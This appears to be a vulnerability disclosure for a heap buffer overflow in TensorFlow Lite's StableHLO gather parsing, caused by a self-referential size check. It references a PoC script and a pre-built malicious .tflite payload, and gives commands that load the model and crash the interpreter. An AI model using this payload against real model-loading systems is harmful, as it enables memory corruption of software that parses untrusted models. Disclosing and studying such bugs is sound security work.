ParseStablehloGather() in flatbuffer_conversions.cc calls FlatBufferIntVectorToArray()
with max_size_of_buffer = schema_params->offset_dims()->size() * sizeof(int64_t) — a
self-referential bound (source size, not destination capacity). The overflow guard
num_dimensions > max_size_of_buffer/sizeof(T) reduces to size > size = always false.TfLiteStablehloGatherParams::offset_dims[8] (64 bytes)
Sending 64 entries writes 512 bytes → overflows 448 bytes into adjacent heap memory.tflite_poc.py — generates the malicious .tflite modeltflite_gather_overflow.tflite — pre-built payload (64 offset_dims)1pip install tensorflow flatbuffers tflite
2python3 tflite_poc.py
3python3 -c "
4import tensorflow as tf, numpy as np
5i = tf.lite.Interpreter('tflite_gather_overflow.tflite')
6i.allocate_tensors()
7i.set_tensor(0, np.zeros([4], dtype=np.float32))
8i.set_tensor(1, np.zeros([1,1], dtype=np.int32))
9i.invoke()
10"
11# → exit 134 (SIGABRT)